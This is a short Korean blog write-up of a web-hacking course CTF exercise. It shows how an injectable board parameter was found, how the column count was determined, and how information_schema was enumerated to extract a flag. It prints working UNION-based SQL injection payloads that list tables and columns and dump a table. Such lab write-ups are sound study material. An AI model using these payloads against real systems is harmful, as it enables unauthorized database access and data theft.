SQL Injection Point 2

50

flag를 찾으세요!


화면을 찾던중 SQL Injection Point 1과 동일하게 게시판의 option_val에서 sqlInjection이 가능한 것을 확인.

 

union select 1,2,3,4...... 를 통해서 선행 select는 10개의 컬럼을 가지고 있다는 것을 확인

 

information_schema.tables 에서 infromation_schema가 아닌 테이블을 확인

 

union select TABLE_NAME,TABLE_SCHEMA,3,4,5,6,7,8,9,10 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA != 'information_schema' #

 

결과 flagTable을 확인 

해당 테이블의 컬럼이 어떤 것이 존재하는지 확인하기 위해 columns조회

union select TABLE_NAME,TABLE_SCHEMA,COLUMN_NAME,4,5,6,7,8,9,10 FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = 'flagTable' #

 

 

 

username union select 1,idx,flag,4,5,6,7,8,9,10 FROM flagTable #

 

flag 찾기 성공

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 4  (0) 2023.12.20
SQL Injection Point 3  (0) 2023.12.20
SQL Injection Point 1  (1) 2023.12.18
Blind SQL 자동화  (0) 2023.12.14
CTF Athentication Bypass(Login Bypass 4)  (2) 2023.12.03

+ Recent posts